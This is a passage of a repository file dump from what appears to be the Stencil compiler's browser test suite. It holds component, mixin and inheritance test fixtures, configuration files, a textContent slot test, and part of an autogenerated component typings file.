    "content": "import { Prop, State, Method, Watch } from '@stencil/core';\n\n/**\n * An abstract mixin class with Stencil decorators but NO @Component decorator.\n * This tests the scenario where a project imports and extends from an abstract\n * mixin class in an external library.\n */\nexport class SiblingAbstractMixin {\n  /**\n   * Test getter/setter pattern - ensures default value is preserved\n   * and not overwritten with undefined during component initialization.\n   */\n  private _getterProp: string = 'getter default value';\n  @Prop()\n  get getterProp(): string {\n    return this._getterProp;\n  }\n  set getterProp(newValue: string) {\n    this._getterProp = newValue;\n  }\n\n  @Prop() prop1: string = 'ExtendedCmp text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('extended class handler prop1:', newValue);\n  }\n  @Prop() prop2: string = 'ExtendedCmp prop2 text';\n  @Watch('prop2')\n  prop2Changed(newValue: string) {\n    console.info('extended class handler prop2:', newValue);\n  }\n\n  @State() state1: string = 'ExtendedCmp state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('extended class handler state1:', newValue);\n  }\n  @State() state2: string = 'ExtendedCmp state2 text';\n  @Watch('state2')\n  state2Changed(newValue: string) {\n    console.info('extended class handler state2:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'ExtendedCmp method1 called';\n  }\n\n  @Method()\n  async method2() {\n    this.prop1 = 'ExtendedCmp method2 called';\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-sibling/src/sibling-extended/sibling-extended.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { SiblingExtendedBase } from '../sibling-extended-base/sibling-extended-base.js';\n\n// used as a test (within `test/wdio/ts-target/extends-external/cmp.test.ts`) to verify Stencil components can\n// extend from component classes built in a separate Stencil project.\n\n@Component({\n  tag: 'sibling-extended',\n})\nexport class SiblingExtended extends SiblingExtendedBase {\n  render() {\n    return (\n      <div>\n        <p class=\"extended-prop-1\">Extended class prop 1: {this.prop1}</p>\n        <p class=\"extended-prop-2\">Extended class prop 2: {this.prop2}</p>\n        <p class=\"extended-state-1\">Extended class state 1: {this.state1}</p>\n        <p class=\"extended-state-2\">Extended class state 2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-sibling/src/sibling-extended-base/sibling-extended-base.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch } from '@stencil/core';\n\n@Component({\n  tag: 'sibling-extended-base',\n})\nexport class SiblingExtendedBase {\n  /**\n   * Test getter/setter pattern - ensures default value is preserved\n   * and not overwritten with undefined during component initialization.\n   */\n  private _getterProp: string = 'getter default value';\n  @Prop()\n  get getterProp(): string {\n    return this._getterProp;\n  }\n  set getterProp(newValue: string) {\n    this._getterProp = newValue;\n  }\n\n  @Prop() prop1: string = 'ExtendedCmp text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('extended class handler prop1:', newValue);\n  }\n  @Prop() prop2: string = 'ExtendedCmp prop2 text';\n  @Watch('prop2')\n  prop2Changed(newValue: string) {\n    console.info('extended class handler prop2:', newValue);\n  }\n\n  @State() state1: string = 'ExtendedCmp state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('extended class handler state1:', newValue);\n  }\n  @State() state2: string = 'ExtendedCmp state2 text';\n  @Watch('state2')\n  state2Changed(newValue: string) {\n    console.info('extended class handler state2:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'ExtendedCmp method1 called';\n  }\n\n  @Method()\n  async method2() {\n    this.prop1 = 'ExtendedCmp method2 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"extended-prop-1\">Base Extended class prop 1: {this.prop1}</p>\n        <p class=\"extended-prop-2\">Base Extended class prop 2: {this.prop2}</p>\n        <p class=\"extended-state-1\">Base Extended class state 1: {this.state1}</p>\n        <p class=\"extended-state-2\">Base Extended class state 2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-sibling/src/sibling-root/sibling-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'sibling-root',\n  styles: `\n    :host {\n      display: block;\n      background: yellow;\n      color: maroon;\n      margin: 20px;\n      padding: 20px;\n    }\n    section {\n      background: blue;\n      color: white;\n    }\n    article {\n      background: maroon;\n      color: white;\n    }\n  `,\n  scoped: true,\n})\nexport class SiblingRoot {\n  componentWillLoad() {\n    return new Promise((resolve) => {\n      setTimeout(resolve, 50);\n    });\n  }\n\n  render() {\n    return (\n      <div>\n        <section>sibling-shadow-dom</section>\n        <article>\n          <slot />\n        </article>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-sibling/src/sibling-with-mixin/mixin-factory.ts",
    "content": "import { Prop, State, Method, Watch } from '@stencil/core';\n\n/**\n * A mixin factory function that returns a class with Stencil decorators.\n * This tests the scenario where a component in an external library uses\n * a mixin pattern internally.\n */\nexport const SiblingMixinFactory = <B extends new (...args: any[]) => any>(Base: B) => {\n  class SiblingMixin extends Base {\n    /**\n     * Test getter/setter pattern - ensures default value is preserved\n     * and not overwritten with undefined during component initialization.\n     * Using JS private field (#) instead of TS private to avoid declaration emit issues.\n     */\n    #_getterProp: string = 'getter default value';\n    @Prop()\n    get getterProp(): string {\n      return this.#_getterProp;\n    }\n    set getterProp(newValue: string) {\n      this.#_getterProp = newValue;\n    }\n\n    @Prop() prop1: string = 'ExtendedCmp text';\n    @Watch('prop1')\n    prop1Changed(newValue: string) {\n      console.info('extended class handler prop1:', newValue);\n    }\n    @Prop() prop2: string = 'ExtendedCmp prop2 text';\n    @Watch('prop2')\n    prop2Changed(newValue: string) {\n      console.info('extended class handler prop2:', newValue);\n    }\n\n    @State() state1: string = 'ExtendedCmp state text';\n    @Watch('state1')\n    state1Changed(newValue: string) {\n      console.info('extended class handler state1:', newValue);\n    }\n    @State() state2: string = 'ExtendedCmp state2 text';\n    @Watch('state2')\n    state2Changed(newValue: string) {\n      console.info('extended class handler state2:', newValue);\n    }\n\n    @Method()\n    async method1() {\n      this.prop1 = 'ExtendedCmp method1 called';\n    }\n\n    @Method()\n    async method2() {\n      this.prop1 = 'ExtendedCmp method2 called';\n    }\n  }\n  return SiblingMixin;\n};\n"
  },
  {
    "path": "test/wdio/test-sibling/src/sibling-with-mixin/sibling-with-mixin.tsx",
    "content": "import { Component, h, Mixin } from '@stencil/core';\nimport { SiblingMixinFactory } from './mixin-factory.js';\n\n/**\n * A component that uses a mixin factory pattern internally.\n * This tests the scenario where a consumer project imports and renders a component\n * from an external library, and that component internally uses a mixin pattern.\n * The mixin's decorated members should be properly merged and reactive.\n *\n * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n */\n@Component({\n  tag: 'sibling-with-mixin',\n})\nexport class SiblingWithMixin extends Mixin(SiblingMixinFactory) {\n  render() {\n    return (\n      <div>\n        <p class=\"extended-prop-1\">Extended class prop 1: {this.prop1}</p>\n        <p class=\"extended-prop-2\">Extended class prop 2: {this.prop2}</p>\n        <p class=\"extended-state-1\">Extended class state 1: {this.state1}</p>\n        <p class=\"extended-state-2\">Extended class state 2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-sibling/stencil.config.ts",
    "content": "import { Config } from '../../../src/declarations';\n\nexport const config: Config = {\n  namespace: 'TestSibling',\n  tsconfig: 'tsconfig.json',\n  outputTargets: [\n    {\n      type: 'dist',\n      transformAliasedImportPathsInCollection: false,\n    },\n  ],\n  globalScript: 'src/global.ts',\n};\n"
  },
  {
    "path": "test/wdio/test-sibling/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"skipLibCheck\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": true,\n    \"declaration\": false,\n    \"resolveJsonModule\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": false,\n    \"noImplicitReturns\": false,\n    \"noUnusedLocals\": false,\n    \"noUnusedParameters\": false,\n    \"pretty\": true,\n    \"target\": \"es2022\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../../internal\"],\n      \"@stencil/core/internal\": [\"../../../internal\"],\n      \"@stencil/core/testing\": [\"../../../testing\"]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/wdio/text-content-patch/cmp-scoped-slot.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'text-content-patch-scoped-with-slot',\n  scoped: true,\n})\nexport class TextContentPatchScopedWithSlot {\n  render() {\n    return [<p>Top content</p>, <slot></slot>, <p>Bottom content</p>, <slot name=\"suffix\"></slot>];\n  }\n}\n"
  },
  {
    "path": "test/wdio/text-content-patch/cmp-scoped.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'text-content-patch-scoped',\n  scoped: true,\n})\nexport class TextContentPatchScoped {\n  render() {\n    return [<p>Top content</p>, <p>Bottom content</p>];\n  }\n}\n"
  },
  {
    "path": "test/wdio/text-content-patch/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('textContent patch', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <text-content-patch-scoped></text-content-patch-scoped>\n          <text-content-patch-scoped-with-slot>\n            {/*This should be ignored*/}\n            Slot content\n            <p slot=\"suffix\">Suffix content</p>\n          </text-content-patch-scoped-with-slot>\n        </>\n      ),\n    });\n\n    await $('text-content-patch-scoped').waitForExist();\n  });\n\n  describe('scoped encapsulation', () => {\n    it('should return the content of all slots', async () => {\n      const elm = $('text-content-patch-scoped-with-slot');\n      await expect(await elm.getText()).toBe('Slot content\\nSuffix content');\n    });\n\n    it('should have default behaviour when there is no default slot', async () => {\n      const elm = $('text-content-patch-scoped');\n      await expect(await elm.getText()).toBe(`Top content\nBottom content`);\n    });\n\n    it('should overwrite the default slot content', async () => {\n      const elm = await $('text-content-patch-scoped-with-slot');\n      await browser.execute(\n        (elm) => {\n          elm.textContent = 'New slot content';\n        },\n        elm as any as HTMLElement,\n      );\n\n      await expect(await elm.getText()).toBe('New slot content');\n    });\n\n    it('should insert text node if there is no default slot', async () => {\n      const elm = await $('text-content-patch-scoped');\n      await browser.execute(\n        (elm) => {\n          elm.textContent = 'New slot content';\n        },\n        elm as any as HTMLElement,\n      );\n\n      await expect(await elm.getText()).toBe(`New slot content`);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface CompositionCheckboxGroup {\n    }\n    interface CompositionRadioGroup {\n    }\n    /**\n     * Main component that demonstrates composition-based scaling\n     * with 3 components and 2 controllers (ValidationController and FocusController)\n     */\n    interface CompositionScalingDemo {\n    }\n    interface CompositionTextInput {\n    }\n    interface ExtendedCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface ExtendedCmpCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface ExtendsAbstract {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface ExtendsCmpCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    /**\n     * ConflictsCmp - Demonstrates decorator conflicts in inheritance chains\n     * This component:\n     * 1. Extends ConflictsBase (inherits base decorators)\n     * 2. Defines duplicate decorators with same names but different values/behavior\n     * 3. Verifies component decorators override base decorators\n     * 4. Renders UI showing which version is active (component should win)\n     */\n    interface ExtendsConflicts {\n        /**\n          * Non-duplicate method for comparison\n         */\n        \"baseOnlyMethod\": () => Promise<string>;\n        /**\n          * @default 'base only prop value'\n         */\n        \"baseOnlyProp\": string;\n        /**\n          * Duplicate method - same name as base, should override Component version should be called, not base version\n         */\n        \"duplicateMethod\": () => Promise<string>;\n        /**\n          * @default 'component prop value'\n         */\n        \"duplicateProp\": string;\n        /**\n          * Method to get combined call log (base + component)\n         */\n        \"getCombinedMethodCallLog\": () => Promise<string[]>;\n        /**\n          * Method to get component method call log\n         */\n        \"getComponentMethodCallLog\": () => Promise<string[]>;\n        /**\n          * Method to get the call log for testing\n         */\n        \"getMethodCallLog\": () => Promise<string[]>;\n        /**\n          * Method to reset all call logs\n         */\n        \"resetAllCallLogs\": () => Promise<void>;\n        /**\n          * Method to reset component call log\n         */\n        \"resetComponentMethodCallLog\": () => Promise<void>;\n        /**\n          * Method to reset call log for testing\n         */\n        \"resetMethodCallLog\": () => Promise<void>;\n        /**\n          * Method to update component-only state\n         */\n        \"updateComponentOnlyState\": (value: string) => Promise<void>;\n        /**\n          * Method to update duplicate state for testing\n         */\n        \"updateDuplicateState\": (value: string) => Promise<void>;\n    }\n    interface ExtendsControllerUpdates {\n    }\n    interface ExtendsDirectState {\n    }\n    /**\n     * EventsCmp - Demonstrates\n     * @Listen decorator inheritance\n     * This component:\n     * 1. Extends EventBase (inherits base\n     * @Listen decorators)\n     * 2. Adds additional\n     * @Listen decorators\n     * 3. Overrides base event handler\n     * 4. Demonstrates event bubbling and propagation\n     */\n    interface ExtendsEvents {\n    }\n    interface ExtendsExternal {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    /**\n     * A component that extends from an external library's abstract mixin class.\n     * This tests Bug B: importing abstract mixin classes from a lib - those classes'\n     * members should be properly merged in and have reactivity.\n     */\n    interface ExtendsExternalAbstract {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    /**\n     * A component that extends from an external library's component which itself uses a mixin pattern.\n     * This tests Bug A: a project importing/rendering from a lib whose component utilises a mixin/abstract\n     * class pattern - the decorated class members should be properly merged and have reactivity.\n     */\n    interface ExtendsExternalWithMixin {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface ExtendsLifecycleBasic {\n    }\n    interface ExtendsLifecycleMultilevel {\n    }\n    interface ExtendsLocal {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface ExtendsMethods {\n        /**\n          * Base method that can be called by child components\n         */\n        \"baseMethod\": () => Promise<string>;\n        /**\n          * Child-specific method that uses parent's protected helper\n         */\n        \"childMethod\": () => Promise<string>;\n        /**\n          * Method that composes parent and child behavior\n         */\n        \"composedMethod\": () => Promise<string>;\n        /**\n          * Method to get the call log for testing\n         */\n        \"getCallLog\": () => Promise<string[]>;\n        /**\n          * Method to get internal value for testing\n         */\n        \"getInternalValue\": () => Promise<string>;\n        /**\n          * Override parent method with super() call\n         */\n        \"overridableMethod\": () => Promise<string>;\n        /**\n          * Method to reset state for testing\n         */\n        \"reset\": () => Promise<void>;\n        /**\n          * Method to trigger display update from test\n         */\n        \"updateDisplay\": (value: string) => Promise<void>;\n    }\n    /**\n     * MixedDecoratorsCmp - Demonstrates mixed decorator type conflicts in inheritance chains\n     * This component:\n     * 1. Extends MixedDecoratorsBase (inherits base decorators)\n     * 2. Defines conflicting decorators with same names but different decorator types\n     * 3. Verifies runtime behavior when mixed decorator types exist\n     * 4. Renders UI showing which decorator type is active (component decorator type should win)\n     */\n    interface ExtendsMixedDecorators {\n        /**\n          * Non-conflicting method for comparison\n         */\n        \"baseOnlyMethod\": () => Promise<string>;\n        /**\n          * @default 'base only prop value'\n         */\n        \"baseOnlyProp\": string;\n        /**\n          * Method to get the call log for testing\n         */\n        \"getMethodCallLog\": () => Promise<string[]>;\n        /**\n          * Method that will conflict with\n          * @Prop in component\n         */\n        \"mixedMethodName\": () => Promise<string>;\n        /**\n          * @default 'base prop value'\n         */\n        \"mixedName\": string;\n        /**\n          * @default 'component prop value'\n         */\n        \"mixedStateName\": string;\n        /**\n          * Method to reset call log for testing\n         */\n        \"resetMethodCallLog\": () => Promise<void>;\n        /**\n          * Method to update component-only state\n         */\n        \"updateComponentOnlyState\": (value: string) => Promise<void>;\n        /**\n          * Method to update mixedName state for testing\n         */\n        \"updateMixedName\": (value: string) => Promise<void>;\n    }\n    interface ExtendsMixinCmp {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        \"method3\": () => Promise<void>;\n        /**\n          * @default 'default text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n        /**\n          * @default 'mixin b text'\n         */\n        \"prop3\": string;\n    }\n    interface ExtendsMixinSlotCmp {\n    }\n    /**\n     * Test Case #3: Property & State Inheritance Basics\n     * This component extends PropsStateBase to test:\n     * -\n     * @Prop inheritance from base class\n     * -\n     * @State inheritance from base class\n     * - Additional\n     * @Prop and\n     * @State without conflicts\n     * - Property reactivity (inherited props/state trigger re-renders)\n     */\n    interface ExtendsPropsState {\n        /**\n          * @default 0\n         */\n        \"baseCount\": number;\n        /**\n          * @default 'base prop value'\n         */\n        \"baseProp\": string;\n        /**\n          * @default 'component prop value'\n         */\n        \"componentProp\": string;\n        \"incrementBaseCount\": () => Promise<void>;\n        \"toggleBaseEnabled\": () => Promise<void>;\n        \"updateBaseState\": (value: string) => Promise<void>;\n        \"updateComponentState\": (value: string) => Promise<void>;\n    }\n    /**\n     * Test Case #5: Render Method Inheritance\n     * This component extends RenderBase to test:\n     * - Render Inheritance: Component render() method calls super.render() to include parent template\n     * - Template Composition: Component composes parent template with additional content and structure\n     * - Slot Integration: Parent template slots work correctly when inherited and extended\n     * - CSS Class Inheritance: CSS classes from parent template maintained in component extension\n     */\n    interface ExtendsRender {\n    }\n    interface ExtendsViaHostCmp {\n    }\n    /**\n     * WatchCmp - Demonstrates\n     * @Watch decorator inheritance\n     * This component:\n     * 1. Extends WatchBase (inherits base\n     * @Watch decorators)\n     * 2. Adds additional\n     * @Watch decorators\n     * 3. Overrides base watch handler (overrideProp)\n     * 4. Demonstrates watch execution order\n     * 5. Demonstrates reactive property chains\n     */\n    interface ExtendsWatch {\n        /**\n          * @default 0\n         */\n        \"baseCount\": number;\n        /**\n          * @default 'base prop initial'\n         */\n        \"baseProp\": string;\n        /**\n          * @default 'child prop initial'\n         */\n        \"childProp\": string;\n        \"incrementBaseCount\": () => Promise<void>;\n        \"incrementBaseCounter\": () => Promise<void>;\n        \"incrementChildCounter\": () => Promise<void>;\n        /**\n          * @default 'override prop initial'\n         */\n        \"overrideProp\": string;\n        \"resetWatchLogs\": () => Promise<void>;\n        \"updateBaseCount\": (value: number) => Promise<void>;\n        \"updateBaseCounter\": (value: number) => Promise<void>;\n        \"updateBaseProp\": (value: string) => Promise<void>;\n        \"updateBaseState\": (value: string) => Promise<void>;\n        \"updateChildCounter\": (value: number) => Promise<void>;\n        \"updateChildProp\": (value: string) => Promise<void>;\n        \"updateOverrideProp\": (value: string) => Promise<void>;\n    }\n    interface InheritanceCheckboxGroup {\n    }\n    interface InheritanceRadioGroup {\n    }\n    /**\n     * Main component that demonstrates inheritance-based scaling\n     * with 3 components and 2 controllers (ValidationController and FocusController)\n     */\n    interface InheritanceScalingDemo {\n    }\n    interface InheritanceTextInput {\n    }\n    /**\n     * A component that uses a mixin factory pattern internally.\n     * This tests the scenario where a consumer project imports and renders a component\n     * from an external library, and that component internally uses a mixin pattern.\n     * The mixin's decorated members should be properly merged and reactive.\n     * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n     */\n    interface SiblingWithMixin {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface TsTargetProps {\n        /**\n          * @default 'basicProp'\n         */\n        \"basicProp\": string;\n        \"decoratedGetterSetterProp\": number;\n        /**\n          * @default -10\n         */\n        \"decoratedProp\": number;\n        \"dynamicLifecycle\": string[];\n    }\n}\nexport interface CompositionCheckboxGroupCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLCompositionCheckboxGroupElement;\n}\nexport interface CompositionRadioGroupCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLCompositionRadioGroupElement;\n}\nexport interface ExtendsLocalCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLExtendsLocalElement;\n}\nexport interface InheritanceCheckboxGroupCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLInheritanceCheckboxGroupElement;\n}\nexport interface InheritanceRadioGroupCustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTMLInheritanceRadioGroupElement;\n}\ndeclare global {\n    interface HTMLCompositionCheckboxGroupElementEventMap {\n        \"valueChange\": string[];\n    }\n    interface HTMLCompositionCheckboxGroupElement extends Components.CompositionCheckboxGroup, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLCompositionCheckboxGroupElementEventMap>(type: K, listener: (this: HTMLCompositionCheckboxGroupElement, ev: CompositionCheckboxGroupCustomEvent<HTMLCompositionCheckboxGroupElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLCompositionCheckboxGroupElementEventMap>(type: K, listener: (this: HTMLCompositionCheckboxGroupElement, ev: CompositionCheckboxGroupCustomEvent<HTMLCompositionCheckboxGroupElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLCompositionCheckboxGroupElement: {\n        prototype: HTMLCompositionCheckboxGroupElement;\n        new (): HTMLCompositionCheckboxGroupElement;\n    };\n    interface HTMLCompositionRadioGroupElementEventMap {\n        \"valueChange\": string;\n    }\n    interface HTMLCompositionRadioGroupElement extends Components.CompositionRadioGroup, HTMLStencilElement {\n        addEventListener<K extends keyof HTMLCompositionRadioGroupElementEventMap>(type: K, listener: (this: HTMLCompositionRadioGroupElement, ev: CompositionRadioGroupCustomEvent<HTMLCompositionRadioGroupElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;\n        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLCompositionRadioGroupElementEventMap>(type: K, listener: (this: HTMLCompositionRadioGroupElement, ev: CompositionRadioGroupCustomEvent<HTMLCompositionRadioGroupElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;\n        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\n    }\n    var HTMLCompositionRadioGroupElement: {\n        prototype: HTMLCompositionRadioGroupElement;\n        new (): HTMLCompositionRadioGroupElement;\n    };\n    /**\n     * Main component that demonstrates composition-based scaling\n     * with 3 components and 2 controllers (ValidationController and FocusController)\n     */\n    interface HTMLCompositionScalingDemoElement extends Components.CompositionScalingDemo, HTMLStencilElement {\n    }\n    var HTMLCompositionScalingDemoElement: {\n        prototype: HTMLCompositionScalingDemoElement;\n        new (): HTMLCompositionScalingDemoElement;\n    };\n    interface HTMLCompositionTextInputElement extends Components.CompositionTextInput, HTMLStencilElement {\n    }\n    var HTMLCompositionTextInputElement: {\n        prototype: HTMLCompositionTextInputElement;\n        new (): HTMLCompositionTextInputElement;\n    };\n    interface HTMLExtendedCmpElement extends Components.ExtendedCmp, HTMLStencilElement {\n    }\n    var HTMLExtendedCmpElement: {\n        prototype: HTMLExtendedCmpElement;\n        new (): HTMLExtendedCmpElement;\n    };\n    interface HTMLExtendedCmpCmpElement extends Components.ExtendedCmpCmp, HTMLStencilElement {\n    }\n    var HTMLExtendedCmpCmpElement: {\n        prototype: HTMLExtendedCmpCmpElement;\n        new (): HTMLExtendedCmpCmpElement;\n    };\n    interface HTMLExtendsAbstractElement extends Components.ExtendsAbstract, HTMLStencilElement {\n    }\n    var HTMLExtendsAbstractElement: {\n        prototype: HTMLExtendsAbstractElement;\n        new (): HTMLExtendsAbstractElement;\n    };\n    interface HTMLExtendsCmpCmpElement extends Components.ExtendsCmpCmp, HTMLStencilElement {\n    }\n    var HTMLExtendsCmpCmpElement: {\n        prototype: HTMLExtendsCmpCmpElement;\n        new (): HTMLExtendsCmpCmpElement;\n    };\n    /**\n     * ConflictsCmp - Demonstrates decorator conflicts in inheritance chains\n     * This component:\n     * 1. Extends ConflictsBase (inherits base decorators)\n     * 2. Defines duplicate decorators with same names but different values/behavior\n     * 3. Verifies component decorators override base decorators\n     * 4. Renders UI showing which version is active (component should win)\n     */\n    interface HTMLExtendsConflictsElement extends Components.ExtendsConflicts, HTMLStencilElement {\n    }\n    var HTMLExtendsConflictsElement: {\n        prototype: HTMLExtendsConflictsElement;\n        new (): HTMLExtendsConflictsElement;\n    };\n    interface HTMLExtendsControllerUpdatesElement extends Components.ExtendsControllerUpdates, HTMLStencilElement {\n    }\n    var HTMLExtendsControllerUpdatesElement: {\n        prototype: HTMLExtendsControllerUpdatesElement;\n        new (): HTMLExtendsControllerUpdatesElement;\n    };\n    interface HTMLExtendsDirectStateElement extends Components.ExtendsDirectState, HTMLStencilElement {\n    }\n    var HTMLExtendsDirectStateElement: {\n        prototype: HTMLExtendsDirectStateElement;\n        new (): HTMLExtendsDirectStateElement;\n    };\n    /**\n     * EventsCmp - Demonstrates\n     * @Listen decorator inheritance\n     * This component:\n     * 1. Extends EventBase (inherits base\n     * @Listen decorators)\n     * 2. Adds additional\n     * @Listen decorators\n     * 3. Overrides base event handler\n     * 4. Demonstrates event bubbling and propagation\n     */\n    interface HTMLExtendsEventsElement extends Components.ExtendsEvents, HTMLStencilElement {\n    }\n    var HTMLExtendsEventsElement: {\n        prototype: HTMLExtendsEventsElement;\n        new (): HTMLExtendsEventsElement;\n    };\n    interface HTMLExtendsExternalElement extends Components.ExtendsExternal, HTMLStencilElement {\n    }\n    var HTMLExtendsExternalElement: {\n        prototype: HTMLExtendsExternalElement;\n        new (): HTMLExtendsExternalElement;\n    };\n    /**\n     * A component that extends from an external library's abstract 